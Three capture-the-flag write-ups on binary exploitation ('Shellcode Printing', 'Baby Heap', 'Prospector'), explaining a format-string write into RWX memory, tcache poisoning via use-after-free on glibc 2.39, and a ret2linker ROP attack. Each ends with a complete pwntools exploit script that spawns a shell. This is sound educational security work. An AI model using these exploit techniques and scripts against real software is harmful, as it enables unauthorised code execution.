Name: Shellcode Printing
Category: Binary Exploitation


Here we are again — classic shellcode injection challenge... or is it?
This one isn’t the "copy-paste shellcode into a buffer and pray" kind of gig.
Instead of handing us a nice, friendly buffer and saying, “Please inject shellcode here”, this binary decided to play tricks with a format string vulnerability.

Fmt-String Shenanigans

snippet

You’d expect this to be your average printf-style info leak, right?
Surprise — it’s fprintf() to /dev/null. Yep, all output gone. Poof.
Any attempt to %p, %s, %n, or %lx your way to memory leaks? Straight into the void.

But hold up… just because we can't read, doesn’t mean we can’t write.
That’s where the beauty lies — fprintf() + format string = write-what-where primitive.
(Just don’t expect it to hold your hand.)

Enter mmap()

So, where are we even writing this shellcode to?
This binary uses mmap() to allocate a memory region — with RWX permissions — and stores the pointer on the stack.
Lucky for us, it’s just sitting at rsp + 8, waiting to be used.

But There’s a Twist…

You don't get to write the whole shellcode in one go. Why?
Because this binary is a little extra.
After each input, the pointer into the mmap’d region gets bumped by 2 bytes.
So yeah — your write is 2 bytes per input.

Still manageable.
Bonus: The input loop continues until you send a null byte.
So you can inject shellcode chunks, 2 bytes at a time, with each input round.

And Then… It Breaks.

Just as you're about to finish writing your shellcode, the pointer ends up pointing to the end of the mmap'd region.
When the execution jumps to that pointer — it’s basically trying to run off the end of your shellcode.
That’s no good.

The Jump Trick

Here’s the trick:
Write a jmp instruction at the end — one that jumps back to the start of your shellcode.
Since jmp is only 2 bytes (opcode + offset), and the pointer increments by 2 bytes per input, you can place it precisely.
For this one, we cheat a little — write 3 bytes to land the jump.
And just like that, execution jumps to the start — and we get the shell.

Exploit Script

from pwn import *
import struct

context.arch = "amd64"
context.log_level = "info"

def split_shell(shellcode):
    chunks = [shellcode[i:i+2] for i in range(0, len(shellcode), 2)]
    words = []
    for chunk in chunks:
        if len(chunk) < 2:
            chunk += b'\x00'
        val = struct.unpack('<H', chunk)[0]
        words.append(val)
    return words

def build_fmt_payload(value, offset=6):
    return f"%{value}c%{offset}$hn"

def generate_shellcode():
    return asm('''
        start:
            xor rax, rax
            push rax
            push rax
            pop rsi
            pop rdx
            mov rbx, 0x68732f6e69622f2f
            shr rbx, 8
            push rbx
            mov rdi, rsp
            mov al, 59
            syscall
            nop
            nop
            jmp start
    ''')

def exploit():
    io = process("./shellcode_printer_patched")

    raw_shellcode = generate_shellcode()
    shellcode_to_send = raw_shellcode[:-3]
    splitted = split_shell(shellcode_to_send)

    for i, word in enumerate(splitted):
        fmt = build_fmt_payload(word)
        log.info(f"Sending chunk {i+1}/{len(splitted)}: {fmt}")
        io.sendline(fmt.encode())

    # Final jump back to start
    io.sendline(b"%14674832c%6$n")

    # Null terminator
    io.sendline(b"\x00")
    io.interactive()

if __name__ == "__main__":
    exploit()
Name: Baby Heap
Category: Binary Exploitation


This one looked simple at first glance — but, as usual, it wasn't going to let us off that easy.

Opening the binary in IDA made the vulnerability jump right out — a Use-After-Free (UAF) in the delete() function.
Why? Because the freed pointer isn’t nulled out afterward. Classic mistake.

Sounds like tcache poisoning material.

Checksec
RELRO:    Full RELRO  
Canary:   Yes  
NX:       Yes  
PIE:      Yes  
SHSTK:    Enabled  
IBT:      Enabled

Yep. All the modern security goodies are turned on.
So... no GOT overwrite. No return-to-plt. No partial overwrite shenanigans.

And the binary allocates pretty small chunks — so we’re not even getting out of the tcache fastbin area.
Leak required. No exceptions.

Welcome to the House... of Something?

Now, we know there are heap exploitation techniques called “House of X” (Lore, Force, Einherjar, etc.).
But honestly, I don’t even know what this one would be called.

We’re going to:

  • Create a fake chunk
  • Force it into the unsorted bin
  • Leak a libc pointer from the main_arena metadata
Why does that work?
Because ptmalloc uses a doubly-linked list for unsorted bins, and the chunk's fd and bk pointers end up pointing directly inside main_arena.
Beautiful.

Step 1: Leak Heap Address + Tcache Key

Using the UAF, we read a freed chunk and get two things:

  • Tcache key — used for pointer mangling (introduced in glibc 2.32+).
  • Mangled pointer — XORing this with the key gives us a heap leak.

Step 2: Tcache Poisoning for Controlled Allocation

We poison the tcache freelist to get a pointer that overlaps with another chunk. This lets us:

  • Corrupt its metadata (e.g., the size field).
  • Create a fake chunk header with size > 0x410 → ensures it goes to the unsorted bin.

Important glibc 2.39 checks:
  • prev_inuse bit of the next chunk must be 1, or you'll hit consolidation checks.
  • Next chunk’s prev_size and size fields must line up correctly.
  • If you corrupt a chunk’s size, make sure you don't accidentally mark it as IS_MMAPPED or you'll crash.

For a deeper dive into how these checks work internally, you can browse the malloc.c source in glibc.

snippet

Step 3: Trigger Unsorted Bin Insertion

Now we free our overlapping (victim) chunk with the large fake size → it ends up in the unsorted bin.
Its fd/bk now point to libc’s main_arena.

snippet Boom. Libc leak.
From here, we can:

  • Compute libc base.
  • Poison tcache again — but this time to leak stack address via __environ.

Step 4: Final Tcache Poisoning – Stack Write

We tcache-poison again to get an allocation pointing directly to the saved return address on the stack.
From here, we drop a ROP chain:

  • pop rdi
  • "/bin/sh"
  • ret (alignment)
  • system

And that’s it — shell popped.

Exploit Script

from pwn import *

context.binary = exe = ELF('./babyheap_patched', checksec=False)
libc = exe.libc
context.log_level = "info"

# XOR-based pointer mangling (tcache protection)
def mangle(key, addr):
    return key ^ addr

# Allocate chunk
def malloc(idx, data):
    io.sendlineafter(b"> ", b'1')
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Data: ", data)

# Free chunk
def free(idx):
    io.sendlineafter(b"> ", b'4')
    io.sendlineafter(b"Index: ", str(idx).encode())

# Read chunk content (8 bytes max expected)
def read(idx):
    io.sendlineafter(b"> ", b'2')
    io.sendlineafter(b"Index: ", str(idx).encode())
    return io.recvline().strip().ljust(8, b"\x00")

# Overwrite chunk content
def write(idx, data):
    io.sendlineafter(b"> ", b'3')
    io.sendlineafter(b"Index: ", str(idx).encode())
    io.sendafter(b"Data: ", data)

def exploit():
    # Allocate and free chunks to set up leak
    for i in range(2):
        malloc(i, p64(0x11) * 6)
    for i in range(2):
        free(i)

    # Leak tcache key and mangled pointer
    key = u64(read(0))
    mangled = u64(read(1))
    heap_leak = mangled ^ key

    log.success(f"KEY: {hex(key)}")
    log.success(f"MANGLED PTR: {hex(mangled)}")
    log.success(f"HEAP LEAK: {hex(heap_leak)}")

    # Tcache poisoning: overwrite next pointer in tcache entry (index 1)
    write(1, p64(mangle(key, heap_leak + 0x10)))

    # Chunk 2 is dummy to align tcache
    malloc(2, b"dummy")

    # Chunk 3 returns previously poisoned tcache ptr (i.e., index 0 + 16)
    malloc(3, b"victim")

    # Overwrite size field of chunk 0 to 0x421 (fake large chunk)
    write(0, p64(0) + p64(0x421))

    # Allocate and free two more chunks to fill tcache bin for 0x420
    for i in range(4, 6):
        malloc(i, b"dummy")
    for i in range(4, 6):
        free(i)

    # Overwrite next tcache pointer to chunk at heap + 0x420
    target = heap_leak + 0x420
    write(5, p64(mangle(key, target)))

    # Reallocate from poisoned tcache bin
    malloc(6, b"dummy")
    malloc(7, p64(0) + p64(0x11)*5)

    # Free chunk 3 (unsorted bin now) to leak libc via main_arena
    free(3)
    libc_leak = u64(read(3))
    libc.address = libc_leak - 0x203b20
    log.success(f"LIBC BASE: {hex(libc.address)}")

    # Setup tcache poisoining to leak stack address via __environ
    malloc(7, b'8')
    malloc(8, b'9')
    malloc(9, b'10')
    free(8)
    free(9)

    write(9, p64(mangle(key, libc.sym.environ - 0x18)))  # prepare leak from environ
    malloc(10, b'11')
    malloc(11, b'A'*0x18)

    io.sendlineafter(b"> ", b'2')
    io.sendlineafter(b"Index: ", b'11')
    io.recvuntil(b"A" * 0x18)
    stack_leak = u64(io.recv(6).ljust(8, b'\x00'))

    # Now use tcache poisoning again to write ROP chain to stack
    malloc(13, b'13')
    malloc(14, b'14')
    free(13)
    free(14)

    # Overwrite tcache next ptr to stack - 0x158 (controlled return address)
    write(14, p64(mangle(key, stack_leak - 0x158)))
    malloc(15, b'15') 

    # ROP chain to system("/bin/sh")
    rop = ROP(libc)
    pop_rdi = rop.find_gadget(["pop rdi", "ret"])[0]
    ret = pop_rdi + 1
    binsh = next(libc.search(b'/bin/sh\0'))

     # overwrite saved rbp if needed
    payload = flat(
        0,             
        pop_rdi, binsh,
        ret,
        libc.sym.system
    )
    malloc(16, payload)

    # Pop shell
    io.interactive()

def main():
    global io
    io = process(exe.path)
    input(f"[+] PID: {io.pid}")  # for attaching GDB manually
    exploit()

if __name__ == "__main__":
    main()
Challenge Name: Prospector
Category: Binary Exploitation


This challenge looked quite ugly at first, due to the symbols and function names being stripped.

Checksec

Arch:     amd64
RELRO:    Full RELRO
Canary:   No canary found
NX:       NX enabled
PIE:      PIE enabled
SHSTK:    Enabled
IBT:      Enabled

Nice — no canary! But PIE is enabled, so we’ll probably need a PIE leak. This screams ROP attack — let’s see.

Reversing the Binary

Upon loading it into IDA, I noticed something odd: there was no main() function.
Instead, the binary started from _start, and most of the symbols were stripped — definitely not a standard C binary.
My guess? This was written in pure assembly or something close to it.

That didn’t stop me. I passed the decompiled output to ChatGPT, which helped me break down each function. With those insights, I renamed all the functions to something more understandable and manageable. snippet

Vulnerability: Buffer Overflow

Starting from the _start function, I traced through the control flow and noticed something very promising:
snippet There was a classic buffer overflow vulnerability around line 14 and line 20 in the input parsing logic.

With no stack canary in place, and a PIE-enabled binary, this lined up perfectly for a classic ROP attack — provided we could leak a PIE/libc address.

Mysterious Condition

As I continued exploring the binary, I noticed a function

snippet

This function was never called directly, but had a conditional check guarding it:

if ((_DWORD)result == 1)
    return sub_1000(a2);
And elsewhere:
if (*(_DWORD *)(a1 + 8) == 1)
    sub_1000((__int64)a2);
In both cases, the condition for calling sub_1000() was a comparison against the value 1. Interesting.

Exploiting the Overflow for Code Execution

snippet I discovered that the buffer used to take the input for Nick is located at 0x7fffffffe360, while the memory being checked for the value 1 is at 0x7fffffffe3a8.

With the overflow primitive, I could write all the way up to that location and overwrite it with 1, thereby triggering a call to sub_1000().
But why does that matter?

The Real Leak

Looking inside scorecalculate(), snippet I found that it prints a transformed value derived from a memory address.
This value — the player's score — was actually a disguised pointer.

The transformation? Some bit shifting and arithmetic, which could be reversed:

reverse_score = lambda score: 0x700000000000 | ((score >> 1) << 16)

This function seemed useless at first glance — but in reality, it gave us a leaked pointer, disguised as a score.
Once reversed, I confirmed the address pointed inside the linker (ld.so).
snippet That’s right — this was setting up for a ret2linker attack.

Attack Plan

  • Step 1: Calculate Linker Base Address

    Use the leaked address to compute the base address of the linker by subtracting known offsets (you'll need to extract the same ld.so from the Docker image to match remote offsets).

    Be aware: Players in the Discord server raged that their exploit broke due to varying linker offsets — likely caused by mismatched kernel versions.
    Thankfully, I mean very thankfully, my WSL kernel version just chilled and gave me consistent offsets.

  • Step 2: ROP Gadgets from the Linker

    Extract ROP gadgets from the linker

  • Step 3: Multi-Stage ROP Chain
    • Stage 1: Read "/bin/sh" into memory (via read syscall).
    • Stage 2: Execute execve("/bin/sh") syscall with that pointer.

Exploit Script

#!/usr/bin/env python3
from pwn import *

context.binary = exe = ELF('./prospector', checksec=False)
ld = ELF('./ld-linux-x86-64.so.2', checksec=False)
context.arch = 'amd64'
context.log_level = 'info'  # Set to 'debug' for verbose output

reverse_score = lambda score: 0x700000000000 | ((score >> 1) << 16)

def exploit():
    io = process(exe.path)

    log.info("Leaking score via input overflow...")
    io.sendlineafter(b'Nick: ', b'A' * 72 + p64(1))  # Overflow into score struct
    io.sendlineafter(b'Color: ', b'dummy')      # Trigger the scoring logic

    io.recvuntil(b'score: ')
    score = int(io.recvline().strip())
    log.success(f"Leaked score: {score}")

    leak = reverse_score(score)
    ld.address = leak + 0x3000
    log.success(f"Resolved ld base   @ {hex(ld.address)}")

    # === ROP gadgets from ld.so ===
    pop_rdi = ld.address + 0x3399
    pop_rsi = ld.address + 0x5700
    pop_rdx = ld.address + 0x217bb
    pop_rax = ld.address + 0x15abb
    syscall = ld.address + 0xb879

    log.info("Building stage 1 ROP payload...")
    rop_chain = flat(
        b'\x00' * 0x28,
        p64(leak + 0x40),  # new RBP
        p64(0),               # align stack
        pop_rax, leak,     # dummy rax setup
        pop_rdi, leak + 0x40,
        pop_rsi, 0,
        pop_rdx, leak + 0x40,
        pop_rax, 0x3b         # syscall number for execve
    )

    log.info("Sending stage 1 (ROP chain setup)...")
    io.sendlineafter(b'Color: ', rop_chain)

    log.info("Sending stage 2 (execve syscall)...")
    shell_payload = b"/bin/sh\x00" + p64(syscall)
    io.sendline(shell_payload)

    io.interactive()

if __name__ == "__main__":
    exploit()